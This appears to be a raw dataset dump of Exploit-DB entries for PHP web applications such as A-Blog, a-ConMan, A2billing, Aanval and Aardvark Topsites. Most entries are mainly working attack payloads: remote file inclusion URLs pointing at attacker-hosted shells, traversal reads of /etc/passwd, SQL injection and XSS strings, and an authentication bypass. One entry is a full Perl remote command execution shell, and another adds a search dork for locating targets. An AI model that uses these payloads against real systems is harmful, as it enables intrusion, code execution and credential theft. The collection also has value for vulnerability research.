deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31960
Description: A+ PHP Scripts News Management System 0.3 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/29912/info

A+ PHP Scripts News Management System is prone to multiple input-validation vulnerabilities, including a remote file-include issue, multiple local file-include issues, and a cross-site scripting issue.

An attacker can exploit these vulnerabilities to include and execute local and remote scripts in the context of the webserver process. Attackers can also execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

These issues affect News Management System 0.3; other versions may also be vulnerable. 

http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/system/include.php?skindir=[SHELL]
http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/register.php?skindir=[LFI]
http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/login.php?skindir=[LFI]
http://www.example.com/A_PHP_Scripts_News_Management_System_03/news/admin/register.php?e=[XSS]
Exploit-DB #29306
Description: A-Blog 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-22
Author: Fukumori

Exploit:
source: https://www.securityfocus.com/bid/21716/info

The 'a-blog' application is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.1.c is vulnerable to this issue; other versions may also be affected.

http://www.example.com/calendar/export_handler.php?format=<body+onload=alert(1111)>&id=200 http://www.example.com/calendar/export_handler.php?format=<img+src=http://www.example2.com/img/logo.gif+onload=alert(1111)>&id=200
Exploit-DB #2436
Description: A-Blog 2.0 - 'menu.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-26
Author: Drago84

Exploit:
###### ToXiC #########################
#
#A-Blog Remote File Include
#
#BuG FounD by Drago84
#
#Application Affect:A-Blog
#Source Code:
#http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
#Problem:
#<?php include ("$navigation_start"); ?>
#<?php include("$navigation_middle"); ?>
#Soluction:
#Include in page require ("mainfile.php");
#Page Vulnerable : menu.php
#Dir : /navigation/
# Exempe Of ExPloit
is:
#http://www.site.com/ablog_dir/navigation/menu.php?navigation_start=http://marcusbestlamer.gay/shell.php?

#GrEatZ All Member of ToXiC, Str0ke
# Fuck Sonic,a|x
# ToXic Security Italian CreW

######
ToXiC
###################

# milw0rm.com [2006-09-26]
Exploit-DB #2442
Description: A-Blog 2.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-27
Author: v1per-haCker

Exploit:
#==============================================================================================
#A-Blog v2.0 Remote File Include
#===============================================================================================
#
#Critical Level : Dangerous
#
#A-Blog
#http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
#Version : v2.0
#
#================================================================================================
#Bug in :
#/navigation/links.php
#/navigation/search.php
#/navigation/donation.php
#/navigation/latestnews.php
#/sources/myaccount.php
#
#================================================================================================
#Vlu Code :
#include("$navigation_start")
#include("$navigation_middle")
#include("$navigation_end")
#include("$open_box")
#include("$middle_box")
#include("$close_box")
#================================================================================================
#
#Exploit :
#
#http://localhost/A-Blog/sources/myaccount.php?open_box=http://shell.txt?
#http://localhost/A-Blog/sources/myaccount.php?middle_box=http://shell.txt?
#http://localhost/A-Blog/sources/myaccount.php?close_box=http://shell.txt?
#http://localhost/A-Blog/navigation/search.php?navigation_end=http://shell.txt?
#http://localhost/A-Blog/navigation/donation.php?navigation_start=http://shell.txt?
#http://localhost/A-Blog/navigation/donation.php?navigation_middle=http://shell.txt?
#http://localhost/A-Blog/navigation/donation.php?navigation_end=http://shell.txt?
#http://localhost/A-Blog/navigation/latestnews.php?navigation_start=http://shell.txt?
#http://localhost/A-Blog/navigation/latestnews.php?navigation_middle=http://shell.txt?
#http://localhost/A-Blog/navigation/links.php?navigation_start=http://shell.txt?
#http://localhost/A-Blog/navigation/links.php?navigation_middle=http://shell.txt?

#================================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad ; RooT-shilL ; hetler_jeddah ; BooB11 ; FaTaL ; ThE-WoLf-KsA ; mohandko ; fooooz ; maVen
#and all members in XP10_hackEr Team
#WWW.XP10.COM
==================================================================================================

# milw0rm.com [2006-09-27]
Exploit-DB #2831
Description: a-ConMan 3.2b - 'common.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-22
Author: Matdhule

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_61$2006

------------------------------------------------------------------------------
[ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: November, 22nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a-ConMan (Automated Content Management)

Application	: a-ConMan (Automated Content Management)
version		: 3.2beta
URL		: http://sourceforge.net/projects/a-conman

a-ConMan is a flexible database solution built to categorize and manage your image and video content. Giving you the ability to automate the building and updating for any type of content specific website within seconds. Utilizing one of the most advanced

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------
....
<?php
include_once($cm_basedir."/ez_sql.php");
include_once($cm_basedir."/pg2ezsql.php");
// include_once($cm_basedir."/functions.php");
$ver = "3.1.1228";

...
----------------------------------------------------------

Input passed to the "cm_basedir" parameter in common.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?


Solution:
~~~~~~~
- Sanitize variable $cm_basedir on common.inc.php.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,str0ke
~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity (#nyubicrew @ allindo.net), #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-22]
Exploit-DB #28616
Description: A.I-Pifou 1.8 - 'Choix_langue.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-09-20
Author: cdg393

Exploit:
source: https://www.securityfocus.com/bid/20120/info

A.I-Pifou is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/livre_dor/choix_langue.php?choix_lng=../../../../../../../BOOT.ini%00
Exploit-DB #42615
Description: A2billing 2.x - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-05
Author: 0x4148

Exploit:
# Title : A2billing 2.x , Sql injection vulnerability
# Vulnerable software : A2billing 2.x
# Author : Ahmed sultan (0x4148)
# Email : 0x4148@gmail.com
# Linkedin : https://www.linkedin.com/in/0x4148/

If you're looking for deep technical stuff , overcoming sanitization/hardening . . etc you can check out the full writeup at https://0x4148.com/2016/10/28/a2billing-all-versions-2-1-1-sql-injection-exploit/

A2billing is vulnerable to sql injection attack resulting from not enough sanitization of several inputs including transactionID
The sanitization proccess differ from version to another , but the concept is the same ,
I demonstrated bypassing the last version (2.1.1) , but still all versions till the moment are vulnerable as well with just little bit different modifications

File : agent/public/checkout_process.php
getpost_ifset(array('transactionID', 'sess_id', 'key', 'mc_currency',
'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status', 'mb_currency',
'transaction_id', 'mc_fee', 'card_number'));
...................................................
// Status - New 0 ; Proceed 1 ; In Process 2
$QUERY = "SELECT id, agent_id, amount, vat, paymentmethod, cc_owner,
cc_number, cc_expires, creationdate, status, cvv, credit_card_type,
currency " .
" FROM cc_epayment_log_agent " .
" WHERE id = ".$transactionID." AND (status = 0 OR (status = 2 AND
$NOW_2MIN))";
$transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);


POC :
Sending POST request : transactionID=[PII_REDACTED]11 unise//**lectonselinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**--&sess_id=4148key=636902c6ed0db5780eb613d126e95268
to : https://HOST/a2billing/agent/Public/checkout_process.php
will result in redirection of the application and the Location header will contain our decoded payment module which was used in the query "plugnpay" , which indicate successful injection

Full exploitation demo : https://www.youtube.com/watch?v=8dfdZCmPGWA


Exploit timeline :
01/10/2016 : vulnerability reported to vendor
06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP
04/09/2017 : Public release

Full exploit code is attached <loose code for demonstration purposes only>

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42615.zip

Thanks fly to R1z clan :)
Exploit-DB #36192
Description: A2CMS - 'index.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2011-09-28
Author: St493r

Exploit:
source: https://www.securityfocus.com/bid/49883/info

A2CMS is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

http://www.example.com/js/index.php?f=../../../../etc/passwd 2011-09-28
Exploit-DB #32803
Description: A4Desk Event Calendar - 'eventid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-01
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/33835/info

A4Desk Event Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/[path]/admin/index.php?eventid=-1+union+all+select+1,concat_ws(version(),0x3a,database(),0x3a,user()),3,4,5,6--
Exploit-DB #32447
Description: A4Desk Event Calendar - 'v' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-30
Author: Lo$er

Exploit:
source: https://www.securityfocus.com/bid/31507/info

A4Desk Event Calendar is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/index.php?date=&v=http://www.example2.com
Exploit-DB #9326
Description: aa33code 0.0.1 - Local File Inclusion / Authentication Bypass / File Disclosure
Type: webapps
Platform: php
Date: 2009-08-01
Author: SirGod

Exploit:
##############################################################################################################
[+] aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
##############################################################################################################

[+] Download : http://sourceforge.net/projects/aa33code/files/aa33code/0.0.1/aa33code-0.0.1.tar.gz/download

[+] Local File Inclusion

 - PoC

     http://127.0.0.1/[path]/reviews.php?artid=../../../../../../boot.ini%00

[+] Authentication Bypass

 - PoC

     http://127.0.0.1/[path]/artedit/main.php?aa33user=admin

[+] Database Configuration Disclosure

 - PoC

     http://127.0.0.1/[path]/inc/mysql.inc


##############################################################################################################

# milw0rm.com [2009-08-01]
Exploit-DB #28723
Description: Aanval 7.1 build 70151 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-10-04
Author: xistence

Exploit:
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Aanval 7.1 build 70151

-------------------------
Affected vendors:
-------------------------

Aanval
http://www.aanval.com/
https://www.aanval.com/download/pickup

-------------------------
Product description:
-------------------------

Aanval is the industry's most comprehensive Snort and Syslog Intrusion
Detection, Correlation,
and Threat Management console on the market. Aanval supports both Snort and
Suricata,
as well as virtually any Syslog data source, and is designed specifically
to scale from
small-single sensor installations to global enterprise deployments.

Aanval's primary function is to correlate data from multiple sources, bring
together billions of events,
and present users with a holistic view of false-positive free, network
security situational awareness.

----------
Details:
----------

Aanval 7.1 build 70151 is prone to multiple vulnerabilities. Below are the
details.

[ 0x01 - Blind SQL Injection ]

The "id" and "query" parameters are vulnerable to blind SQL injection. The
proof of concept below does a sha1 benchmark on the value "1". This will
take a couple of seconds to process in most situations and thus shows that
the injection works.
http://
<IP>/aanval/?op=prv_myReports&id=2'%20and%20benchmark(20000000%2csha1(1))--%20
http://
<IP>/aanval/?op=prv_eventSearch&query=%20report:'%2bbenchmark(20000000%2csha1(1))%2b'


[ 0x02 - Reflected XSS ]

The following requests are vulnerable to "Cross Site Scripting" and will
show a pop-up with the word "XSS".

http://<IP>/aanval/?op=prv_eventSearch&dip=<script>alert('XSS')</script>
http://<IP>/aanval/?op=prv_eventSearch&dport=%0Aalert('XSS')//
http://<IP>/aanval/?num=<script>alert('XSS')</script>
http://<IP>/aanval/?op=prv_eventSearch&protocol=%0Aalert('XSS')//
http://
<IP>/aanval/?op=prv_eventSearch&query=%20report:31337%0aalert('XSS')//
http://<IP>/aanval/?op=prv_eventSearch&risk=%0Aalert('XSS')//
http://<IP>/aanval/?op=prv_eventSearch&sip=<script>alert('XSS')</script>
http://<IP>/aanval/?op=prv_eventSearch&sport=%0aalert('XSS')//
http://<IP>/aanval/?op=prv_eventSearch&string=<script>alert('XSS')</script>
http://
<IP>/aanval/?op=prv_eventSearchResults&transaction="><script>alert('XSS')</script>

-----------
Solution:
-----------

No fix available, use a good WAF :)

--------------
Timeline:
--------------

2013-08-16 Provided details to Aanval support. Ticket is created.
2013-09-19 Asked for status update.
2013-09-26 No response yet, asked for status update again.
2013-10-04 Still no response, public disclosure.
Exploit-DB #23443
Description: Aardvark Topsites 4.1 PHP - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2003-12-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9231/info

Multiple vulnerabilities have been identified in the software that include information disclosure, path disclosure, SQL injection, and a plaintext password weakness.

Aardvark Topsites PHP version 4.1.0 has been reported to be prone to these issue, however other versions may be affected as well.

http://www.example.com/index.php?method=`
http://www.example.com/index.php?a=lostpw&set=1&id=`
http://www.example.com/index.php?a=lostpw&set=1&session_id=`
Exploit-DB #43791
Description: Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2003-12-16
Author: GulfTech Security

Exploit:
Aardvark Topsites Multiple Vulnerabilities

Vendor: Aardvark Industries
Product: Aardvark Topsites
Version: <= 4.1.0
Website: http://www.aardvarkind.com/

BID: 9231 

Description:
Aardvark Topsites is a popular free PHP topsites script. See URL for details. 

Plaintext Database Pass Weakness:
The login info for the database being used by Aardvark topsites can be viewed in plaintext by anyone who has access to the admin panel. If an attacker can gain access to the admin panel he can then take control of the database that the Aardvark Topsites is using.lid forum number and to have read 

Information Disclosure Vulnerability:
By default phpinfo() for the server hosting an Aardvark Topsite can be viewed in the sources directory [ /sources/info.php ] An easy work around for this is quite obvious. If you do not need this file delete it. And if you do need it, then move it to a more secure location :) 

Path Disclosure Vulnerability:
There are multiple ways to disclose the full server path on an Aardvark Topsites. Most can be avoided by allowing visitors to the /sources/ directory. However, it is also possible by passing a null or invalid value to the "type" variable when viewing the graph feature. 

SQL Injection Vulnerability:
Tampering with SQL queries is possible via the "method" variable in display.php You can test if you are vulnerable by accessing the url below. 

http://topsitelocation/index.php?method=` 

Also, these are prone to tampering. While it would be hard to exploit, the following should have input validated/sanitized a little better. 

http://topsitelocation/index.php?a=lostpw&set=1&id=` 
http://topsitelocation/index.php?a=lostpw&set=1&session_id=` 

Solution:
Aardvark Industries were very prompt and professional in addressing these issues. You can now download Aardvark Topsites 4.1.1 which has new features along with the obvious security fixes. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #1732
Description: Aardvark Topsites PHP 4.2.2 - 'lostpw.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-30
Author: cijfer

Exploit:
#!/usr/bin/perl
#
# Aardvark Topsites PHP <=4.2.2 Remote Command Execution Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# to set your PHP shell location:
# cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd=
# php shell set to 'http://my.shell.fi/phpshell.gif?&cmd='
# cijfer$
#
# $Id: cijfer-atpxpl.pl,v 0.1 2006/04/30 02:11:00 cijfer Exp $

use strict;
use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

my($command,$verbose,$proxy,$shell,$host,$res);

$res = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\# ", color("reset");
	chomp($command = <STDIN>);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n", color("reset");
	}
	elsif($command =~ m/^shell=http:\/\/(.*)/g)
	{
		$shell="http://".$1;
		print "php shell set to '";
		print color("bold"), $shell."'\n", color("reset");
	}
	else
	{
		&exploit($command,$host);
	}
}

sub usage
{
	print "Aardvark Topsites PHP <=4.2.2 Remote Command Execution Exploit\n";
	print "usage: $0 -hpv\n\n";
	print "  -h, --host\t\tfull address of target (ex. http://www.website.com/directory)\n";
	print "  -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -v, --verbose\t\tverbose mode (debug)\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;
	my($string,$execut,$recv,$sent,$out,$cij,@cij);

	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
	$cij->proxy("http", "http://".$proxy."/") unless !$proxy;

	$string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B%20";
	$string .= uri_escape(shift);
	$string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";

	$out=$cij->get($host."/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=".$shell.$string);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}

	if($verbose)
	{
		$recv=length $out->content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}

# milw0rm.com [2006-04-30]
Exploit-DB #1730
Description: Aardvark Topsites PHP 4.2.2 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-30
Author: [Oo]

Exploit:
Title: Aardvark Topsites PHP 4.2.2 remote file inclusion
URL: http://www.aardvarktopsitesphp.com/
Dork: "Powered By Aardvark Topsites PHP 4.2.2"

Exploit: /sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-30]
Exploit-DB #33057
Description: Aardvark Topsites PHP 5.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-26
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/35506/info

Aardvark Topsites PHP is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Aardvark Topsites PHP 5.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?a=search&q=psstt+securityÃ¢~@~]><a+href%3Dhttp%3A%2F%2Fwebsec.id3as.com>Web-Application-Security